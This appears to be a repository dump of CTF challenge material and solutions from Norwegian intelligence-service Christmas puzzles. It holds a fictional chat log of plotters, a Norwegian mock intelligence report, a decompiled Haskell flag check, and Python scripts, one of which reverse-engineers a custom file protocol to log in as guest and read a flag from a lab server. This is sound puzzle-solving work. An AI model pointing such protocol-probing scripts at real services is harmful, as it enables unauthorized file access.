nation-state too! Or at least we should be! 25 | 26 | --- Day changed 03 DES 2020 --- 27 | 28 | [14:35] hungry_hippo_123: Where did you go? I sent lots of securechats but noone answered 29 | [14:56] hungry_hippo_123: when did we change apps??? 30 | [15:31] RADAR: Uhoh, hungry_hippo_123 BOHICA 31 | [16:00] hungry_hippo_123: ?? 32 | [16:01] eireen89: Seriously, hungry_hippo_123. You have to take communication seriously, and read your messages. 33 | [16:49] hungry_hippo_123: yeah yeah 34 | [16:51] hungry_hippo_123: but whats happening? 35 | [16:52] eireen89: This fight is grand er than us and each one of us. Ask of yourselves: Are you in it for Antarctica, or just to avoid boredom? 36 | [17:52] eireen89: The world is changing before our very eyes, and we must take a stand! 37 | [17:53] eireen89: Just read this shit: https://translate.googleusercontent.com/translate_c?depth=1&hl=en&nv=1&pto=aue&rurl=translate.google.com&sl=auto&sp=nmt4&tl=en&u=https://www.regjeringen.no/no/dokumenter/meld.-st.-32-20142015/id2415997/sec6%3Fq%3DAntarktis 38 | [18:08] RADAR: Oh, we're in! Into the abyss, and beyond! 39 | [18:23] hungry_hippo_123: Into the abyss!! 40 | [18:23] hungry_hippo_123: 41 | [19:57] B4tCracK: im gone for ten minutes, and all of a sudden you're talking about the abyss. Maybe chill a little? 42 | [20:48] eireen89: Let's begin with a trip to magnificent Antarctica! 43 | [20:55] hungry_hippo_123: 44 | [21:21] B4tCracK: Sitting ducks on koldbjorn around here: https://www.google.com/maps/@-70.6927673,-0.2845782,14.8z 45 | 46 | --- Day changed 04 DES 2020 --- 47 | 48 | [00:26] B4tCracK: I have devised a cunning method to book flight tickets anonymously. Our names will not show up anywhere except in the Sea the World systems. 49 | [00:56] RADAR: W00t w00t 50 | [01:28] B4tCracK: Yeah, I knew investing in this "relationship" would come in handy some day! 51 | [01:29] B4tCracK: Just logged in myself to check, and status is CONFIRMED. IT IS FINALLY HAPPENING! 52 | [02:01] eireen89: Excellent! It's getting closer now. Can you hear the people sing? 53 | [02:02] hungry_hippo_123: 54 | [03:01] RADAR: Speaking bout tickets 55 | [03:01] RADAR: do we have a lock on the target yet? 56 | [03:02] RADAR: Oh and we need a codename! How about "Hummingbird" 57 | [04:40] eireen89: It is getting closer, now that we finally can get air tickets, the target can be some hot-shot norwie 58 | [04:47] eireen89: Maybe someone who runs those subsea facilities 59 | [05:14] hungry_hippo_123: We need a cooler name than hummingbird 60 | [05:14] hungry_hippo_123: More action!! 61 | [06:26] B4tCracK: There should be some adjective 62 | [07:08] RADAR: Uh, isn't tactical stuff my responsibility, not yours?! 63 | [07:09] B4tCracK: Operation FISHY PELICAN 64 | [07:10] hungry_hippo_123: No, EXPLODING something!! 65 | [07:11] B4tCracK: EXPLODING HUMMINGBIRD 66 | [08:05] RADAR: OK, that one's actually good. OORAH! 67 | [08:11] eireen89: And now back to your assignments. We have more important stuff to consider. 68 | 69 | --- Day changed 05 DES 2020 --- 70 | 71 | [09:04] eireen89: OMG OMG OMG 72 | [09:40] hungry_hippo_123: ?? 73 | [09:46] RADAR: Sitrep 74 | [10:24] eireen89: I think they are onto us 75 | [11:09] hungry_hippo_123: 76 | [11:23] eireen89: You know that blue dot on the map? When I opened maps now it was on the other side of the ocean in you know where 77 | [11:57] B4tCracK: you think someone is using your account? Which password manager are you using? 78 | [12:42] eireen89: Uh, dunno about manager, I use my regular password??? 79 | [13:32] B4tCracK: what do you mean? to open your password manager? 80 | [13:45] hungry_hippo_123: 81 | [14:35] eireen89: I don't understand 82 | [14:56] B4tCracK: guys? you DO focus on OPSEC, right??? 83 | [15:31] hungry_hippo_123: On what? 84 | [16:00] eireen89: Our group is not concerned with OPEC. 85 | [16:01] B4tCracK: jfc we must go in cleanup mode ASAP 86 | [16:49] hungry_hippo_123: 87 | [16:51] eireen89: OK? well, we must do everything to secure the operation. It's not much time left 88 | [16:52] eireen89: We can not falter now! 89 | [17:09] B4tCracK: so then we need to stop all comms until i've had a look at your phones 90 | [17:10] RADAR: willco 91 | [18:08] hungry_hippo_123: 92 | 93 | --- Day changed 06 DES 2020 --- 94 | 95 | [00:05] hungry_hippo_123: 96 | [00:06] hungry_hippo_123: 97 | [00:07] hungry_hippo_123: You guys, have you seen this funny names???!! 98 | [00:07] hungry_hippo_123: 99 | [01:43] hungry_hippo_123: 100 | [03:59] hungry_hippo_123: 101 | [04:51] eireen89: It's 04:51 102 | [04:56] hungry_hippo_123: and? 103 | [04:57] hungry_hippo_123: 104 | [05:01] B4tCracK: do you REMEMBER that we agreed not to use this channel until i've cleared it??? 105 | 106 | --- Day changed 07 DES 2020 --- 107 | 108 | [08:27] hungry_hippo_123: btw can't find my booking reference 109 | [09:02] RADAR: Hey full radio silence NEWB 110 | [09:44] B4tCracK: nah its fine. 111 | [09:47] hungry_hippo_123: Do I need the reference thingy?? 112 | [10:14] B4tCracK: ive examined the traffic pcaps and the app is safe 113 | [10:48] hungry_hippo_123: 114 | [11:26] B4tCracK: and duh, yeah, you need the reference. i got it here two secs 115 | [12:08] B4tCracK: WJWQX 116 | [13:20] hungry_hippo_123: 117 | [13:37] RADAR: Hey b4tCracK: while you checked the traffic, did you check that travel system, too? 118 | [13:38] eireen89: Everyone ready for tomorrow? 119 | [14:05] hungry_hippo_123: 120 | [14:56] B4tCracK: yeah, some old crap that system 121 | [14:56] B4tCracK: good thing for us 122 | [15:00] eireen89: And the cold meadows of Antarctica shall be watered by the tears of greedy weegie bastards! 123 | [15:03] eireen89: Let's hope we will never see Norwegian exploitation expand to our part of the continental shelf again 124 | [15:04] RADAR: Let OPERATION EXPLODING HUMMINGBIRD begin! 125 | [18:27] B4tCracK: for future reference; your username to the backdoor is the first three letters of your first name followed by the 126 | [18:27] B4tCracK: length of your username here and ending with your last name. The capital letters of your name stays capital. 127 | [18:27] B4tCracK: I will NOT repeat this, and do NOT, I repeat; DO NOT write it down! 128 | 129 | --- Day changed 08 DES 2020 --- 130 | 131 | [11:09] RADAR: FUBAR! My man at the airport says hungry_hippo_123 was taken away by security 132 | [11:23] eireen89: Alas! A martyr for a just cause. 133 | [11:24] eireen89: Certainly a doofus, but also a martyr. 134 | [12:42] B4tCracK: FSCK! we need to clean up! for real this time. switch to secondary comms! 135 | [13:32] eireen89: Wait, what, why? 136 | [13:45] B4tCracK: if the state got their hands on him, it means THEY HAVE HIS PHOne and CAN READ THIS 137 | [14:35] RADAR: SELF DESTRUCT SELF DESTRUCT 138 | [14:56] eireen89: OK, discard your phones. But the kidnapping shall procede. 139 | [09:36] l4m3r: lol 140 | [11:46] l4m3r: a 141 | -------------------------------------------------------------------------------- /etjenestenjul20/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import select 6 | 7 | TCP_IP = "127.0.0.1" 8 | TCP_PORT = 10015 9 | 10 | sockets = [] 11 | 12 | def main(): 13 | for i in range(11): 14 | conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | conn.connect((TCP_IP, TCP_PORT)) 16 | sockets.append(conn) 17 | 18 | print(sockets[0].recv(4096).decode("utf-8")) 19 | print(sockets[0].recv(4096).decode("utf-8")) 20 | 21 | total = 0 22 | for i in range(1, 11): 23 | num = struct.unpack("!L", sockets[i].recv(4))[0] 24 | print(num) 25 | total += num 26 | print(total) 27 | 28 | 29 | total = struct.pack("!L", total) 30 | print([total]) 31 | sockets[0].sendall(total) 32 | 33 | print(sockets[0].recv(4096).decode("utf-8")) 34 | 35 | while True: 36 | reads = select.select(sockets[1:], list(), list())[0] 37 | if not reads: break 38 | for read in reads: 39 | print(read.recv(1024).decode(),end="") 40 | 41 | 42 | if __name__ == "__main__": 43 | main() 44 | -------------------------------------------------------------------------------- /etjenestenjul20/coordinate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/coordinate.png -------------------------------------------------------------------------------- /etjenestenjul20/green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/green.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201222195348159.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201222195348159.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201222202356094.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201222202356094.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201222202602128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201222202602128.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201222232550177.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201222232550177.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227181355246.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227181355246.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227181534387.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227181534387.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227185204869.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227185204869.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227190057816.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227190057816.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227190137610.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227190137610.png -------------------------------------------------------------------------------- /etjenestenjul20/image-20201227190358006.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/image-20201227190358006.png -------------------------------------------------------------------------------- /etjenestenjul20/transfer.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode as b64d, b64encode as b64e 2 | from Crypto.Cipher import ARC4 3 | import struct 4 | 5 | lookup= {0: "Connect", 6 | 1: "Auth", 7 | 2: "Okay", 8 | 3: "ListDir()", 9 | 4: "ChangeDir(s)", 10 | 5: "SetFilename(s)", 11 | 6: "ReadFile()", 12 | 7: "WriteFile(s)", 13 | 8: "Disconnect", 14 | 9: "Connect-OK", 15 | 10: "Auth-Key", 16 | 11: "Algo", 17 | 12: "Success", 18 | 13: "Failure", 19 | 14: "NoOp", # Or above 20 | } 21 | 22 | def parse(raw, dec=None): 23 | magic = raw[0:4] 24 | seqnum = struct.unpack("!Q", raw[ 4:12])[0] 25 | instr = struct.unpack("!B", raw[12:13])[0] 26 | length = struct.unpack("!Q", raw[13:21])[0] 27 | data = raw[21:] 28 | assert magic == b"FILE" 29 | assert length == len(data) 30 | payload = b64d(data) 31 | print([payload, length]) # debug 32 | if dec: 33 | payload = dec.decrypt(payload).decode() 34 | print(seqnum, lookup.get(instr, f"Unk-{instr}"), payload, length) 35 | return seqnum, lookup.get(instr, f"Unk-{instr}"), length, payload 36 | 37 | # part 2 38 | seq = 0 39 | from pwn import * 40 | r = remote("10.0.114.42", 1334) 41 | 42 | # Connect 43 | resp = b"FILE" + b"\x00" * (8+1+8) 44 | r.send(resp); parse(resp) 45 | seq, I, length, payload = parse(r.recv()) 46 | 47 | # Auth 48 | pload = b64e(b"guest:guest").encode() 49 | resp = b"FILE" + struct.pack("!Q", seq) + bytes([1]) + struct.pack("!Q", len(pload)) + pload 50 | r.send(resp); parse(resp) 51 | 52 | # Get Auth-Key and Okay it 53 | seq, I, length, payload = parse(r.recv()) 54 | print(f"Key: {payload}") 55 | arc4 = ARC4.new(payload) 56 | pload = b'' 57 | resp = b"FILE" + struct.pack("!Q", seq) + bytes([2]) + struct.pack("!Q", len(pload)) + pload 58 | r.send(resp); parse(resp) 59 | 60 | # Get Algo 61 | seq, I, length, payload = parse(r.recv()) 62 | 63 | # Send ListDir() and get response 64 | pload = b'' 65 | resp = b"FILE" + struct.pack("!Q", seq) + bytes([3]) + struct.pack("!Q", len(pload)) + pload 66 | r.send(resp); parse(resp) 67 | seq, I, length, payload = parse(r.recv(), arc4) 68 | 69 | # SetFilename("FLAG_2") 70 | pload = b64e(arc4.encrypt(b"FLAG_2")).encode() 71 | resp = b"FILE" + struct.pack("!Q", seq) + bytes([5]) + struct.pack("!Q", len(pload)) + pload 72 | r.send(resp); parse(resp) 73 | seq, I, length, payload = parse(r.recv(), arc4) 74 | 75 | # ReadFile() 76 | pload = b'' 77 | resp = b"FILE" + struct.pack("!Q", seq) + bytes([6]) + struct.pack("!Q", len(pload)) + pload 78 | r.send(resp); parse(resp) 79 | seq, I, length, payload = parse(r.recv(), arc4) -------------------------------------------------------------------------------- /etjenestenjul20/unknown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenestenjul20/unknown.png -------------------------------------------------------------------------------- /etjenestenjul21/INTREP.txt: -------------------------------------------------------------------------------- 1 | 13 10:07 DES 2021, INTREP 2 | GRADERING: TEMMELIG HEMMELIG 3 | VÅR REFERANSE: SNTA1337M 4 | PRIORITET: KRITISK // FLASH 5 | 6 | 1. SITUASJONSSKILDRING 7 | 8 | RAPPORTERING TILSIER AT AGENTER MED TILKNYTNING TIL UTLANDIA 9 | PLANLEGGER EN SABOTASJEAKSJON MOT NORSK KRITISK INFRASTRUKTUR. 10 | ETTERRETNINGSTJENESTEN HAR INNHENTET INFORMASJON OM GRUPPEN 11 | OVER EN LENGRE PERIODE. 12 | 13 | I PERIODEN 4.NOVEMBER TIL 10.NOVEMBER OBSERVERTE PST TO (2) 14 | INDIVIDER MED TILKNYTNING TIL UTLANDIA VED FLERE VANNKRAFTVERK 15 | PÅ VESTLANDET, FØR DE RASKT FORLOT LANDET. PST SIN 16 | OBSERVASJONSRAPPORT TILSIER AT DISSE TO (2) INDIVIDENE HAR 17 | GJENNOMFØRT EN GRUNDIG REKOGNOSERING AV NÆROMRÅDENE. 18 | 19 | DET VURDERES SOM SVÆRT SANNSYNLIG AT UTLANDIA PLANLEGGER Å SABOTERE 20 | MINST ETT VANNKRAFTVERK PÅ VESTLANDET, MEN VI VET IKKE NOE OM 21 | HVILKET VANNKRAFTVERK SOM SKAL SABOTERES, ELLER HVORDAN AKSJONEN 22 | ER PLANLAGT GJENNOMFØRT. 23 | 24 | INNHENTET INFORMASJON SIER IKKE NOE OM SABOTASJE MOT ANNEN INFRASTRUKTUR, 25 | ELLER AT ANDRE GEOGRAFISKE OMRÅDER ER POTENSIELLE MÅL. 26 | 27 | 2. GRUNNLAGSETTERRETNING 28 | 29 | VI HAR IDENTIFISERT TO NETTSIDER SOM VED FLERE TILFELLER HAR BLITT 30 | BENYTTET AV INDIVIDER MED TILKNYTNING TIL UTLANDIA. NETTSIDENE ER 31 | LINKET TIL ET DATASENTER I UTLANDIA. 32 | 33 | DEN ENE NETTSIDEN FREMSTÅR SOM EN BUTIKKSIDE, MEN MISTENKES FOR Å VÆRE ET 34 | SKALKESKJUL. DEN ANDRE BLIR TROLIG BRUKT TIL KOMMUNIKASJON MELLOM 35 | UTLANDIA OG DERES AGENTER. 36 | 37 | URLER: 38 | * SKALKESKJUL: http://anvilshop.utl 39 | SAMT: http://anvilshop.utl/cgi-bin/lootd.v2/download?app.apk 40 | * KOMMUNIKASJONSTJENESTE: http://blog.utl 41 | 42 | DET ER GJENNOMFØRT EN LETT REKOGNOSERING AV NETTSIDENE. UNDER 43 | REKOGNOSERINGEN BLE DET OPPDAGET EN SKJULT APP TIL ANDROID. APPEN ER FORELØPIG 44 | IKKE UNDERSØKT, MEN DET MISTENKES AT DENNE BLIR BRUKT TIL KOMMUNIKASJON. 45 | 46 | FIL VEDLAGT: app.apk 47 | 48 | 3. OPPDRAG 49 | 50 | FREMSKAFF PRIORITERT INFORMASJON FRA DE UTENLANDSKE SERVERENE. 51 | INFORMASJONEN SAMMENSTILLES OG DELES MED NORSK POLITI, HERUNDER PST, 52 | I DEN HENSIKT Å FORHINDRE EN SABOTASJEAKSJON MOT NORSK KRITISK INFRASTRUKTUR. 53 | 54 | 55 | PRIORITERING: 56 | 57 | (1) FREMSKAFFE PLANVERK OG KOMMUNIKASJON. 58 | (2) LOKALISERE AGENTENE. 59 | 60 | SLUTT 61 | -------------------------------------------------------------------------------- /etjenestenjul21/curry.hs: -------------------------------------------------------------------------------- 1 | Main_checkFlag_closure = \Main_checkFlag_info_arg_0 -> && (== $fEqInt (length $fFoldable[] loc_4226664) !!ERROR!!) (== ($fEq[] $fEqInt) (<$> $fFunctor[] (. !!ERROR!! (zipWith !!ERROR!! loc_4226664)) 2 | (: 3 | (: I# 116 (: I# 157 (: I# 41 (: I# 243 (: I# 9 (: I# 55 (: I# 113 (: I# 161 (: I# 31 (: I# 200 (: I# 78 (: I# 36 (: I# 152 (: I# 209 (: I# 244 (: I# 19 (: I# 145 (: I# 6 (: I# 186 (: I# 121 (: I# 13 (: I# 235 (: I# 133 (: I# 87 (: I# 35 (: I# 76 (: I# 172 (: I# 178 (: I# 238 (: I# 129 (: I# 68 (: I# 191 (: I# 176 (: I# 83 (: I# 203 (: I# 41 (: I# 121 (: I# 98 [])))))))))))))))))))))))))))))))))))))) 4 | (: 5 | (: I# 151 (: I# 137 (: I# 183 (: I# 56 (: I# 152 (: I# 236 (: I# 180 (: I# 99 (: I# 98 (: I# 5 (: I# 7 (: I# 8 (: I# 17 (: I# 18 (: I# 40 (: I# 83 (: I# 87 (: I# 121 (: I# 152 (: I# 235 (: I# 38 (: I# 100 (: I# 113 (: I# 116 (: I# 165 (: I# 163 (: I# 122 (: I# 2 (: I# 47 (: I# 8 (: I# 221 (: I# 29 (: I# 153 (: I# 207 (: I# 5 (: I# 187 (: I# 129 (: I# 247 [])))))))))))))))))))))))))))))))))))))) 6 | (: 7 | (: I# 231 (: I# 143 (: I# 211 (: I# 202 (: I# 21 (: I# 27 (: I# 114 (: I# 157 (: I# 199 (: I# 160 (: I# 47 (: I# 30 (: I# 4 (: I# 109 (: I# 4 (: I# 223 (: I# 96 (: I# 236 (: I# 89 (: I# 201 (: I# 190 (: I# 65 (: I# 60 (: I# 50 (: I# 217 (: I# 41 (: I# 225 (: I# 8 (: I# 125 (: I# 20 (: I# 248 (: I# 80 (: I# 146 (: I# 237 (: I# 197 (: I# 231 (: I# 157 (: I# 15 [])))))))))))))))))))))))))))))))))))))) 8 | (: 9 | (: I# 105 (: I# 163 (: I# 66 (: I# 0 (: I# 80 (: I# 73 (: I# 71 (: I# 119 (: I# 75 (: I# 100 (: I# 84 (: I# 79 (: I# 112 (: I# 128 (: I# 241 (: I# 254 (: I# 123 (: I# 57 (: I# 62 (: I# 113 (: I# 13 (: I# 169 (: I# 143 (: I# 131 (: I# 198 (: I# 248 (: I# 141 (: I# 91 (: I# 19 (: I# 182 (: I# 22 (: I# 34 (: I# 196 (: I# 109 (: I# 223 (: I# 55 (: I# 94 (: I# 219 [])))))))))))))))))))))))))))))))))))))) 10 | (: 11 | (: I# 175 (: I# 10 (: I# 47 (: I# 123 (: I# 180 (: I# 230 (: I# 244 (: I# 177 (: I# 222 (: I# 46 (: I# 103 (: I# 229 (: I# 246 (: I# 182 (: I# 217 (: I# 234 (: I# 109 (: I# 19 (: I# 181 (: I# 70 (: I# 209 (: I# 119 (: I# 2 (: I# 56 (: I# 55 (: I# 43 (: I# 128 (: I# 72 (: I# 3 (: I# 223 (: I# 226 (: I# 65 (: I# 178 (: I# 127 (: I# 247 (: I# 25 (: I# 235 (: I# 105 [])))))))))))))))))))))))))))))))))))))) 12 | (: 13 | (: I# 91 (: I# 79 (: I# 117 (: I# 148 (: I# 43 (: I# 255 (: I# 176 (: I# 185 (: I# 108 (: I# 114 (: I# 61 (: I# 28 (: I# 148 (: I# 149 (: I# 10 (: I# 235 (: I# 230 (: I# 225 (: I# 111 (: I# 146 (: I# 84 (: I# 135 (: I# 209 (: I# 215 (: I# 54 (: I# 89 (: I# 113 (: I# 243 (: I# 63 (: I# 159 (: I# 142 (: I# 220 (: I# 200 (: I# 31 (: I# 35 (: I# 58 (: I# 205 (: I# 255 [])))))))))))))))))))))))))))))))))))))) 14 | (: 15 | (: I# 193 (: I# 211 (: I# 113 (: I# 209 (: I# 206 (: I# 235 (: I# 247 (: I# 153 (: I# 250 (: I# 201 (: I# 115 (: I# 39 (: I# 162 (: I# 54 (: I# 155 (: I# 126 (: I# 211 (: I# 191 (: (I# 101) (: I# 145 (: I# 179 (: I# 34 (: I# 15 (: I# 176 (: I# 87 (: I# 190 (: I# 103 (: I# 199 (: I# 196 (: I# 230 (: I# 35 (: I# 160 (: I# 129 (: I# 224 (: I# 134 (: I# 42 (: I# 82 (: I# 179 [])))))))))))))))))))))))))))))))))))))) 16 | (: 17 | (: I# 34 (: I# 27 (: I# 158 (: I# 70 (: I# 41 (: I# 52 (: I# 202 (: I# 84 (: I# 202 (: I# 234 (: I# 190 (: I# 201 (: I# 170 (: I# 113 (: I# 110 (: I# 237 (: I# 141 (: I# 252 (: I# 253 (: I# 59 (: I# 82 (: I# 215 (: I# 114 (: I# 128 (: I# 131 (: I# 87 (: I# 241 (: I# 204 (: I# 145 (: I# 152 (: I# 245 (: I# 126 (: I# 149 (: I# 184 (: I# 93 (: I# 8 (: I# 142 (: I# 107 [])))))))))))))))))))))))))))))))))))))) 18 | (: 19 | (: I# 249 (: I# 128 (: I# 59 (: I# 229 (: I# 146 (: I# 170 (: I# 54 (: I# 96 (: I# 8 (: I# 70 (: I# 124 (: I# 158 (: I# 157 (: I# 211 (: I# 181 (: I# 179 (: I# 136 (: I# 84 (: I# 194 (: I# 16 (: I# 154 (: I# 124 (: I# 186 (: I# 137 (: I# 223 (: I# 158 (: (I# 64) (: I# 161 (: I# 92 (: I# 18 (: I# 95 (: I# 223 (: I# 192 (: I# 7 (: I# 127 (: I# 153 (: I# 147 (: I# 192 [])))))))))))))))))))))))))))))))))))))) 20 | (: 21 | (: I# 155 (: I# 95 (: I# 7 (: I# 56 (: I# 6 (: I# 59 (: I# 158 (: I# 210 (: I# 230 (: I# 96 (: I# 90 (: I# 2 (: I# 105 (: I# 145 (: I# 159 (: I# 147 (: I# 112 (: I# 139 (: I# 83 (: I# 245 (: I# 57 (: I# 37 (: I# 1 (: I# 15 (: I# 182 (: I# 248 (: I# 1 (: I# 70 (: I# 78 (: I# 253 (: I# 122 (: I# 85 (: I# 39 (: I# 153 (: I# 59 (: I# 25 (: I# 27 (: I# 253 [])))))))))))))))))))))))))))))))))))))) 22 | (: 23 | (: I# 245 (: I# 133 (: I# 33 (: I# 88 (: I# 159 (: I# 139 (: I# 186 (: I# 164 (: I# 179 (: I# 162 (: I# 200 (: I# 158 (: I# 71 (: I# 156 (: I# 43 (: I# 156 (: I# 213 (: I# 90 (: I# 184 (: I# 169 (: I# 186 (: I# 221 (: I# 232 (: I# 67 (: I# 251 (: I# 63 (: I# 70 (: I# 71 (: I# 222 (: I# 114 (: I# 83 (: I# 109 (: I# 209 (: I# 185 (: I# 125 (: I# 17 (: I# 215 (: I# 144 [])))))))))))))))))))))))))))))))))))))) 24 | (: 25 | (: I# 15 (: I# 124 (: I# 195 (: I# 182 (: I# 67 (: I# 111 (: I# 18 (: I# 75 (: I# 129 (: I# 154 (: I# 74 (: I# 51 (: I# 177 (: I# 239 (: I# 199 (: I# 127 (: I# 72 (: I# 122 (: I# 130 (: I# 232 (: I# 31 (: I# 253 (: I# 120 (: I# 167 (: I# 70 (: I# 151 (: I# 222 (: I# 93 (: I# 215 (: I# 42 (: I# 169 (: I# 61 (: I# 83 (: I# 49 (: I# 34 (: I# 110 (: I# 102 (: I# 34 [])))))))))))))))))))))))))))))))))))))) 26 | (: 27 | (: I# 238 (: I# 78 (: I# 11 (: I# 147 (: I# 150 (: I# 131 (: I# 200 (: I# 39 (: I# 132 (: I# 216 (: I# 23 (: I# 230 (: I# 35 (: I# 94 (: I# 134 (: I# 48 (: I# 118 (: I# 62 (: I# 52 (: I# 73 (: I# 33 (: I# 87 (: I# 20 (: I# 169 (: I# 33 (: I# 43 (: I# 180 (: I# 159 (: I# 176 (: I# 61 (: I# 188 (: I# 206 (: I# 197 (: I# 126 (: I# 60 (: I# 221 (: I# 18 (: I# 165 [])))))))))))))))))))))))))))))))))))))) 28 | (: 29 | (: I# 181 (: I# 225 (: I# 100 (: I# 119 (: I# 29 (: I# 196 (: I# 54 (: I# 182 (: I# 76 (: I# 31 (: I# 116 (: I# 77 (: I# 211 (: I# 65 (: I# 231 (: I# 78 (: I# 137 (: I# 87 (: I# 104 (: I# 211 (: I# 51 (: I# 100 (: I# 96 (: I# 143 (: I# 135 (: I# 245 (: I# 34 (: I# 168 (: I# 167 (: I# 225 (: I# 11 (: I# 193 (: I# 69 (: I# 5 (: I# 190 (: I# 192 (: I# 168 (: I# 80 [])))))))))))))))))))))))))))))))))))))) 30 | (: 31 | (: I# 123 (: I# 178 (: I# 227 (: I# 206 (: I# 88 (: I# 33 (: I# 13 (: I# 18 (: I# 170 (: I# 72 (: I# 183 (: I# 137 (: I# 79 (: I# 0 (: I# 81 (: I# 181 (: I# 51 (: I# 98 (: I# 149 (: I# 255 (: I# 7 (: I# 100 (: I# 188 (: I# 197 (: I# 46 (: I# 82 (: I# 186 (: I# 185 (: I# 48 (: I# 184 (: I# 21 (: I# 237 (: I# 14 (: I# 162 (: I# 25 (: I# 15 (: I# 180 (: I# 134 [])))))))))))))))))))))))))))))))))))))) 32 | (: 33 | (: I# 47 (: I# 221 (: I# 244 (: I# 65 (: I# 38 (: I# 244 (: I# 82 (: I# 123 (: I# 171 (: I# 97 (: I# 193 (: I# 170 (: I# 156 (: I# 187 (: I# 100 (: I# 208 (: I# 76 (: I# 19 (: I# 70 (: I# 203 (: I# 164 (: I# 177 (: I# 155 (: I# 211 (: I# 230 (: I# 141 (: I# 246 (: I# 182 (: I# 162 (: I# 1 (: I# 14 (: I# 24 (: I# 252 (: I# 209 (: I# 113 (: I# 124 (: I# 53 (: I# 207 [])))))))))))))))))))))))))))))))))))))) 34 | (: 35 | (: I# 154 (: I# 174 (: I# 71 (: I# 22 (: (I# 26) (: I# 97 (: I# 149 (: I# 178 (: I# 58 (: I# 171 (: I# 149 (: I# 117 (: I# 41 (: I# 202 (: I# 248 (: I# 244 (: I# 219 (: I# 165 (: I# 214 (: I# 83 (: I# 115 (: I# 50 (: I# 161 (: I# 224 (: I# 103 (: I# 112 (: I# 5 (: I# 80 (: I# 107 (: I# 149 (: I# 239 (: I# 12 (: I# 153 (: I# 2 (: I# 206 (: (I# 218) (: I# 196 (: I# 28 [])))))))))))))))))))))))))))))))))))))) 36 | (: 37 | (: I# 138 (: I# 160 (: I# 88 (: I# 181 (: I# 12 (: I# 193 (: I# 234 (: I# 224 (: I# 167 (: I# 216 (: I# 148 (: I# 240 (: I# 130 (: I# 196 (: I# 54 (: I# 74 (: I# 170 (: I# 59 (: I# 10 (: I# 202 (: I# 201 (: I# 88 (: I# 152 (: I# 124 (: I# 139 (: I# 23 (: I# 117 (: I# 51 (: I# 141 (: I# 48 (: I# 59 (: I# 80 (: I# 159 (: I# 127 (: I# 213 (: I# 78 (: I# 173 (: I# 60 [])))))))))))))))))))))))))))))))))))))) 38 | (: 39 | (: I# 88 (: I# 100 (: I# 103 (: I# 29 (: I# 147 (: I# 156 (: I# 34 (: I# 85 (: I# 114 (: I# 213 (: I# 126 (: I# 151 (: I# 13 (: I# 121 (: I# 115 (: I# 95 (: I# 118 (: I# 137 (: I# 76 (: I# 40 (: I# 225 (: I# 225 (: I# 148 (: I# 28 (: I# 212 (: I# 181 (: I# 83 (: I# 169 (: I# 203 (: I# 141 (: I# 107 (: I# 143 (: I# 15 (: I# 59 (: I# 215 (: I# 211 (: I# 182 (: I# 50 [])))))))))))))))))))))))))))))))))))))) 40 | (: 41 | (: I# 194 (: I# 163 (: I# 114 (: I# 45 (: I# 232 (: I# 183 (: I# 105 (: I# 127 (: I# 35 (: I# 247 (: I# 165 (: I# 81 (: I# 44 (: I# 15 (: I# 90 (: I# 7 (: I# 51 (: I# 122 (: I# 253 (: I# 178 (: I# 35 (: I# 164 (: I# 118 (: I# 7 (: I# 30 (: I# 180 (: I# 252 (: I# 204 (: I# 154 (: I# 98 (: I# 42 (: I# 100 (: I# 74 (: I# 63 (: I# 95 (: I# 154 (: I# 165 (: I# 43 [])))))))))))))))))))))))))))))))))))))) 42 | (: 43 | (: I# 216 (: I# 69 (: I# 206 (: I# 49 (: I# 237 (: I# 72 (: I# 5 (: I# 103 (: I# 107 (: I# 10 (: I# 244 (: I# 128 (: I# 16 (: I# 65 (: I# 3 (: I# 248 (: I# 203 (: I# 184 (: I# 222 (: I# 111 (: I# 99 (: I# 113 (: I# 72 (: I# 25 (: I# 0 (: I# 127 (: I# 236 (: I# 205 (: I# 82 (: I# 220 (: I# 17 (: I# 77 (: I# 29 (: I# 105 (: I# 72 (: I# 239 (: I# 111 (: I# 69 [])))))))))))))))))))))))))))))))))))))) 44 | (: 45 | (: I# 175 (: 